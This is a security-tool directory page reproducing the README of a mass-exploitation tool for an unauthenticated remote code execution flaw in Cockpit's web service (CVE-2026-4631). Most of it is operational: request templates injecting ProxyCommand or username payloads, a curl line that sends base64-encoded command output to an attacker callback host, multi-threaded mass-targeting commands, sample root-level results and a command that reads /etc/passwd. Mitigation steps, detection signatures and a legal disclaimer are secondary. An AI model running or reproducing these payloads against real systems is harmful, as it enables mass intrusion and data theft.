Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-4631-cockpit-RCE — SSHコマンドライン引数インジェクションによる未認証リモートコード実行 Cockpit バージョン 327 – 359 | CVSS 9.8 緊急 | CWE-78 | Kitploit
ツール/GitHubGitHub/exdev994/cve-2026-4631-cockpit-rce
脆弱性スキャナーペイロード生成エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテストコマンド&コントロールレッドチーミングリモートアクセスツール
GitHubexdev994/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

SSHコマンドライン引数インジェクションによる未認証リモートコード実行 Cockpit バージョン 327 – 359 | CVSS 9.8 緊急 | CWE-78

1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

CVE-2026-4631 — Cockpit 大量エクスプロイトツール

SSHコマンドライン引数インジェクションによる認証なしリモートコード実行 Cockpit バージョン 327 – 359 | CVSS 9.8 Critical | CWE-78

Cockpit Webサービス(cockpit-ws、ポート9090)のCVE-2026-4631向けの大量エクスプロイトツール。脆弱性スキャンモード、ビルトインHTTPコールバックリスナー経由でのコマンド出力キャプチャ付きRCEモード、--autoモード(デフォルトコマンドidでスキャン+エクスプロイトを一度に実行)、ポートなしターゲットへの**:9090の自動追加**、両方の攻撃ベクトル(ProxyCommand+ユーザー名%rインジェクション)、ファイルからの大量ターゲット、スレッドによる並行処理、構造化された結果出力をサポートしています。

作者: 0xNuts


クイックスタート

クローンとインストール

root@kitploit:~
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt

ターゲットの準備

targets.txtを編集 — 1行に1ホスト。ポートが指定されていない場合、:9090が自動的に追加されます:

root@kitploit:~
192.168.1.10
cockpit.example.com
https://manage.lab.local

実行(AUTOモード — 推奨)

root@kitploit:~
# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>

# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

その他のモード

root@kitploit:~
# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt

# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>

# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>

コールバックの注意点

CVE-2026-4631はblind RCEです — コマンドの出力はHTTPレスポンスでは返ってきません。このツールは出力をキャプチャするためにビルトインHTTPリスナー(デフォルトポート8888)を使用します。次の点を確認してください:

  1. --callback-ipはターゲットから到達可能なIPであること(127.0.0.1ではなく)
  2. ファイアウォールでインバウンドTCPポート8888を許可すること(またはカスタムの--listener-port)
  3. ターゲットが攻撃者のIPへアウトバウンドHTTP接続できること

修正 / 緩和策(防御側)

1. Cockpitのアップグレード(必須)

root@kitploit:~
# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws

# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws

# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian
rpm -q cockpit-ws                            # RHEL

2. リモートログインの無効化(回避策)

/etc/cockpit/cockpit.confを編集:

root@kitploit:~
[WebService]
LoginTo = false

サービスを再起動:

root@kitploit:~
sudo systemctl restart cockpit

3. ネットワーク分離

ポート9090を管理ネットワークのみに制限:

root@kitploit:~
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP

4. OpenSSH >= 9.6 へのアップグレード

早期ホスト名検証によりVector 1(ProxyCommandインジェクション)を緩和:

root@kitploit:~
ssh -V   # harus OpenSSH_9.6 atau lebih baru

5. 手動パッチ(バックポート)

360にアップグレードできない場合は、次のパッチコミットを適用:

  • cockpit 9d0695647 — beiboot.pyとcockpitauth.cに--セパレータを追加
  • ferny 44ec511c99 — session.pyに--を追加

パッチの詳細: docs/PATCH_ANALYSIS.md を参照


目次

  1. 脆弱性の概要
  2. 攻撃ベクトル
  3. エクスプロイトの前提条件
  4. インストール
  5. 使用方法
  6. 動作モード
  7. 実行例
  8. 出力形式
  9. ツールのアーキテクチャ
  10. ファイル構造
  11. Blind RCEキャプチャの仕組み
  12. 検出と緩和
  13. 法的免責事項
  14. リファレンス

脆弱性の概要

Cockpit v327はcockpit-ssh(libssh)を、システムのOpenSSH sshクライアントを呼び出すpython3 -m cockpit.beibootに置き換えました。ユーザーが制御する入力 — URLパスのホスト名とAuthorization: Basicヘッダーのユーザー名 — が、サニタイズなしかつ**--(エンドオブオプションセパレータ)なし**でsshに渡されます。インジェクションは認証情報の検証前に発生するため、有効なログインは不要です。


攻撃ベクトル

Vector 1 — ProxyCommandインジェクション(主)

URLパスのホスト名にSSHオプション-oProxyCommand=<cmd>がインジェクトされます。

root@kitploit:~
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")

SSHは-oProxyCommand=<cmd>をオプションとして解析し、<cmd>をProxyCommandとして実行します。コマンドはcockpit-wsのユーザープロセスとして実行されます。

前提条件: ターゲットのOpenSSH < 9.6。OpenSSH 9.6+にはメタキャラクタをブロックする早期ホスト名検証があります。

Vector 2 — ユーザー名%rトークンインジェクション(副)

Authorization: Basicヘッダーのユーザー名にシェルコマンドがインジェクトされます。

root@kitploit:~
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")

SSHがMatch execディレクティブ内の%rをユーザー名で展開 → シェルがインジェクトされたコマンドを実行します。

前提条件: ターゲットのssh_configに%rトークンを含むMatch execディレクティブがあること。


エクスプロイトの前提条件

攻撃者側(ツールを実行するマシン)

  • Python 3.8+
  • ターゲットのCockpitから到達可能なIP(コールバックリスナー用)
  • リスナー用に開放されたポート(デフォルト8888)
  • ファイアウォールでターゲットからリスナーポートへのインバウンドを許可

ターゲット側(Cockpitインスタンス)

  • Cockpitバージョン 327 – 359
  • ポート9090に到達可能
  • リモートログイン機能(LoginTo)が無効化されていない
  • Vector 1の場合: OpenSSH < 9.6
  • Vector 2の場合: Match exec %rを含むssh_config

インストール

root@kitploit:~
# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE

# Install dependency
pip install -r requirements.txt

# Verifikasi
python3 exploit.py --help

依存関係

  • requests>=2.31 — エクスプロイトリクエスト用のHTTPクライアント
  • colorama>=0.4 — ターミナル出力の色付け

リスナー用の追加の依存関係はありません(stdlibのhttp.server + threadingを使用)。


使用方法

root@kitploit:~
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
                  [-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
                  [-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
                  [--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
                  [--user-agent UA] [-v] [--no-color]

CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection

optional arguments:
  -h, --help            show this help message and exit
  -t, --target          single target URL/host (port auto-added jika absent)
  -f, --file            file containing list of targets (one per line)
  --default-port        port yang di-append jika target tanpa port (default: 9090)
  -c, --cmd             command to execute (default: "id" pada mode --auto / RCE)
  --scan                vulnerability scan mode (no RCE, probe endpoint only)
  --auto                scan + exploit sekali jalan, command default "id"
  --vector              exploit vector: auto|proxycommand|username (default: auto)
  -o, --output          result output file (default: results.txt)
  --callback-ip         attacker IP reachable from target (for callback listener)
  --listener-port       callback listener port (default: 8888)
  --threads             concurrent workers (default: 10)
  --timeout             seconds to wait for callback per target (default: 10)
  --delay               delay between requests in seconds (default: 0)
  --proxy               HTTP proxy for debugging (e.g. http://127.0.0.1:8080)
  --user-agent          custom User-Agent string
  -v, --verbose         verbose output (debug)
  --no-color            disable colored output

動作モード

Mode 1 — 脆弱性スキャン(--scan)

エクスプロイトなしでエンドポイント/cockpit+=probe-host/loginをプローブします。検出内容:

  • レスポンスヘッダー/ボディによるCockpitフィンガープリント
  • 脆弱なログインフローが有効(レスポンスコード401/403/200/500)
  • 可能な場合のバージョン推定

悪意のあるペイロードは送信せず、コールバックリスナーも不要です。

Mode 2 — コマンドキャプチャ付きRCE(-c "cmd")

ターゲットでコマンドを実行し、コールバック経由で出力をキャプチャ:

  • ビルトインHTTPリスナーをバックグラウンドで起動
  • ProxyCommandペイロードがcurlによるリスナーへの外部送信(exfil)でコマンドをラップ
  • 出力はbase64エンコードされ、POSTでリスナーに送信
  • リスナーがデコードし、リクエストID経由でターゲットにマッチング
  • 結果は出力ファイルに書き込まれる
  • -cが指定されていない場合、デフォルトコマンド = id

Mode 3 — AUTO(--auto)— 推奨

スキャン+エクスプロイトを1パスで実行、デフォルトコマンドid:

  1. ターゲットリストを解析(ポートがない場合は9090を自動追加)
  2. コールバックリスナーを起動
  3. ターゲットごと: スキャン → VULNの場合はid(または-cによる上書き)で即エクスプロイト
  4. NOT VULN / UNREACHABLEのターゲットはスキップ(エクスプロイトされない)
  5. 結果: host [ uid=0(root) ... ]

Mode 4 — 自動ベクトル(--vector auto)

最初にVector 1(ProxyCommand)を試行します。レスポンスがOpenSSH >= 9.6(ホスト名検証エラー)を示す場合は、Vector 2(ユーザー名%r)にフォールバックします。

自動ポート正規化

targets.txt内のポートなしの各エントリには、自動的に:9090が付加されます:

root@kitploit:~
host              → http://host:9090
host:9090         → http://host:9090
https://host      → https://host:9090
192.168.1.10      → http://192.168.1.10:9090
[::1]             → http://[::1]:9090

実行例

AUTO — スキャン+エクスプロイト(推奨)

root@kitploit:~
# Target tanpa port → auto :9090, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10

# Override command
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10

出力results.txt:

root@kitploit:~
# CVE-2026-4631 mass exploit results — 2026-07-12 00:42
# mode: auto
# command: id
# vector: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - no callback received (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]

脆弱性スキャン — 大量ターゲット

root@kitploit:~
python3 exploit.py -f targets.txt --scan -o scan_results.txt

出力scan_results.txt:

root@kitploit:~
target1.example.com:9090 [ VULN - Cockpit login flow active (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]

RCE — 単一ターゲット

root@kitploit:~
python3 exploit.py -t target -c "id" --callback-ip 10.10.10.10
# equivalent: -t http://target:9090/

出力:

root@kitploit:~
target:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

RCE — コマンドキャプチャ付き大量ターゲット

root@kitploit:~
python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20

RCE — ベクトル指定

root@kitploit:~
# Force Vector 1 ProxyCommand
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand

# Force Vector 2 username %r
python3 exploit.py -f targets.txt -c "whoami" --vector username

並行性とタイムアウトのチューニング

root@kitploit:~
python3 exploit.py -f targets.txt -c "id" \
  --callback-ip 10.10.10.10 \
  --listener-port 9999 \
  --threads 50 \
  --timeout 15 \
  --delay 0.2

プロキシ経由のデバッグ

root@kitploit:~
python3 exploit.py -t http://target:9090/ -c "id" --proxy http://127.0.0.1:8080 -v

出力形式

結果ファイルの形式はターゲットごとに1行:

root@kitploit:~
<host> [ <status_or_output> ]

結果ファイルのヘッダーには、タイムスタンプ、コマンド、ベクトル、ターゲット数が記録されます。


ツールのアーキテクチャ

root@kitploit:~
flowchart TD
    CLI["exploit.py<br/>argparse CLI + banner"] --> Parser["core/target.py<br/>parse & normalize targets"]
    CLI --> Engine["core/engine.py<br/>orchestrator"]
    Engine --> Listener["core/listener.py<br/>HTTP callback server thread"]
    Engine --> Pool["ThreadPoolExecutor<br/>concurrent workers"]
    Pool --> Scanner["core/scanner.py<br/>vuln probe"]
    Pool --> Exploit["core/exploit.py<br/>payload generator"]
    Scanner --> Req1["requests GET<br/>/cockpit+=test/login"]
    Exploit --> Req2["requests GET<br/>/cockpit+=-oProxyCommand=PAYLOAD/login"]
    Req2 --> Target["Cockpit target :9090"]
    Target -->|"blind RCE<br/>curl callback"| Listener
    Listener --> Shared["shared dict<br/>REQID -> output"]
    Engine --> Result["utils/result.py<br/>write results.txt"]
    Shared --> Engine

コンポーネント

  • exploit.py — エントリポイント、引数の解析、エンジンへのディスパッチ、バナーの描画
  • core/target.py — -f file / -t urlの読み取り、正規化(http://の付加、デフォルトポート9090)、重複排除
  • core/scanner.py — --scanモード、エンドポイントのプローブ、Cockpitのフィンガープリント、脆弱性の推定
  • core/exploit.py — ベクトルごとのペイロード生成、requests経由でエクスプロイトリクエストを送信
  • core/listener.py — --callback-ip:--listener-portでThreadingHTTPServer、?id=REQID&out=BASE64を解析、共有dictに保存
  • core/engine.py — オーケストレーター: リスナーの起動、ThreadPoolExecutorの生成、リクエストID経由でコールバックをターゲットにマッチング、タイムアウト処理、結果の書き込み
  • utils/banner.py — ASCIIバナー
  • utils/result.py — host [ output ]形式で結果ファイルを書き込む

ファイル構造

root@kitploit:~
CVE-2026-4631-cockpit-RCE/
├── exploit.py                  # entry point CLI
├── requirements.txt            # dependencies
├── README.md                   # dokumentasi ini
├── targets.txt                 # contoh target list
├── results.txt                 # output (generated)
├── core/
│   ├── __init__.py
│   ├── target.py               # parser target
│   ├── scanner.py              # mode scan vuln
│   ├── exploit.py              # payload generator + sender
│   ├── listener.py             # HTTP callback server
│   └── engine.py               # orchestrator
├── utils/
│   ├── __init__.py
│   ├── banner.py               # ASCII banner
│   └── result.py               # result writer
└── docs/
    ├── VULN_ANALYSIS.md        # analisis mendalam vulnerability
    ├── PATCH_ANALYSIS.md       # analisis patch commit
    └── DETECTION.md            # signature deteksi

Blind RCEキャプチャの仕組み

CVE-2026-4631はblind RCEです — コマンドの出力はCockpitのHTTPレスポンスでは返されません。このツールはビルトインHTTPコールバックリスナーでこの問題を解決します:

フロー

  1. リスナー起動 — スレッド化されたHTTPサーバーが--callback-ip:--listener-portで待ち受け
  2. REQIDの生成 — ターゲットごとに、UUID4のhex 8文字の一意なID
  3. ペイロードの構築 — ProxyCommandがcurl exfilでコマンドをラップ:
    root@kitploit:~
    bash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
    
  4. ペイロードのURLエンコード — ホスト名フィールドにインジェクト:
    root@kitploit:~
    GET /cockpit+=-oProxyCommand=<URL_ENC_PAYLOAD>/login
    Authorization: Basic base64("x:x")
    
  5. リクエスト送信 — requests.get経由、自己署名証明書用にverify=False
  6. コールバック待機 — --timeoutまで共有dictresults[REQID]をポーリング
  7. マッチングとデコード — コールバックが届いたらbase64出力をデコードし、REQID経由でターゲットにマッチング
  8. 結果の書き込み — host [ decoded_output ]を出力ファイルに書き込み

コールバックなしのフォールバック

コールバックなしでタイムアウトした場合、SSHエラーレスポンスを確認します:

  • ホスト名検証エラー → OpenSSH >= 9.6、Vector 1がブロック → VULN - no callback (OpenSSH >= 9.6?)
  • 接続エラー → UNREACHABLE
  • エンドポイントが存在しない → NOT VULN

並行処理

  • ターゲットごとにThreadPoolExecutor(max_workers=--threads)で並列処理
  • threading.Lock付きの共有dict[REQID] -> target_host + dict[REQID] -> output
  • ThreadingHTTPServerが並行コールバックを処理
  • ターゲットごとのtry/except: 接続エラー、SSLエラー、タイムアウト

検出と緩和

ネットワークIDSシグネチャ

root@kitploit:~
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

注意すべき点:

  • URLパス内の-oProxyCommand=
  • デコードされたAuthorization: Basic値内のセミコロン(;)

ログ検索

root@kitploit:~
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"

緩和策

  1. Cockpit >= 360 へのアップグレード(必須の修正)
  2. リモートログインの無効化 — /etc/cockpit/cockpit.conf:
    root@kitploit:~
    [WebService]
    LoginTo = false
    
  3. ネットワーク分離 — ポート9090を管理ネットワークのみに制限:
    root@kitploit:~
    iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
    iptables -A INPUT -p tcp --dport 9090 -j DROP
    
  4. OpenSSH >= 9.6 へのアップグレード — Vector 1を緩和(早期ホスト名検証)

バージョン確認

root@kitploit:~
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian/Ubuntu
rpm -q cockpit-ws                            # RHEL/Fedora
# Vulnerable: 327 <= version <= 359

法的免責事項

このツールは、所有している、または書面によるテスト許可を得ているシステムに対する認可されたペネトレーションテスト、セキュリティ研究、脆弱性検証のために作成されています。

所有者の明示的な許可なくシステム上でこのツールを使用することは違法であり、適用される法律に基づき刑事罰の対象となる可能性があります(インドネシア: UU ITE第30条〜第33条)。

作者はこのツールの悪用について一切責任を負いません。倫理的かつ責任を持って使用してください。

認可された使用例:

  • 自社インフラのセキュリティ監査
  • 書面化されたスコープによるペネトレーションテスト契約
  • ラボ環境でのパッチ検証
  • CTFおよびセキュリティトレーニング

リファレンス


ライセンス

研究および認可されたテストを目的としています。許可なく商用配布することはできません。

ツールをダウンロード
フィールド詳細
CVE IDCVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
深刻度Critical (CVSS 9.8)
CWECWE-78 — OSコマンドインジェクション
影響を受けるバージョンCockpit 327 – 359
修正バージョンCockpit 360+
認証要件不要(pre-authentication)
報告者Jelle van der Waa
サービスcockpit-ws、デフォルトポート9090
ステータス意味
uid=0(root) ...RCE成功、コマンド出力をキャプチャ
VULN - no callback received (OpenSSH >= 9.6?)ターゲットは脆弱だがVector 1がOpenSSH 9.6+でブロックされた、Vector 2を試行
VULN - endpoint activeスキャンモード、脆弱なエンドポイントを検出
NOT VULNCockpit >= 360、またはエンドポイントが存在しない
UNREACHABLE接続失敗 / 接続タイムアウト
ERROR: <msg>実行中の例外
リソースURL
GitHub Advisoryhttps://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
OSS-Security Disclosurehttps://www.openwall.com/lists/oss-security/2026/04/10/5
Red Hat Bugzillahttps://bugzilla.redhat.com/show_bug.cgi?id=2450246
NVD Entryhttps://nvd.nist.gov/vuln/detail/cve-2026-4631
Fix commit (cockpit)https://github.com/cockpit-project/cockpit/commit/9d0695647
Fix commit (ferny)https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
CPython argparse bughttps://github.com/python/cpython/issues/66623
OpenSSH 9.6 hostname validationhttps://github.com/openssh/openssh-portable/commit/7ef3787
Reference PoChttps://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE